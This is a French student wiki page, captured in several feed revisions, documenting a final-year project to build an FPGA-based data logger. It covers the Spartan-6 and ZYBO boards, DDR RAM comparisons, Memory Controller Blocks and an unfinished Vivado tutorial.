Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions et argumentaire===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
m°)&amp;lt;br&amp;gt;&lt;br /&gt;
n°)&amp;lt;br&amp;gt;&lt;br /&gt;
o°)&amp;lt;br&amp;gt;&lt;br /&gt;
p°)&amp;lt;br&amp;gt;&lt;br /&gt;
q°)&amp;lt;br&amp;gt;&lt;br /&gt;
r°)&amp;lt;br&amp;gt;&lt;br /&gt;
s°)&amp;lt;br&amp;gt;&lt;br /&gt;
t°)&amp;lt;br&amp;gt;&lt;br /&gt;
u°)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers supplémentaires==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR1&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27517</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27517"/>
				<updated>2016-02-22T09:18:17Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* LX9 MicroBoard */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
====ZYBO====&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
&lt;br /&gt;
 C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6  et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions et argumentaire===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
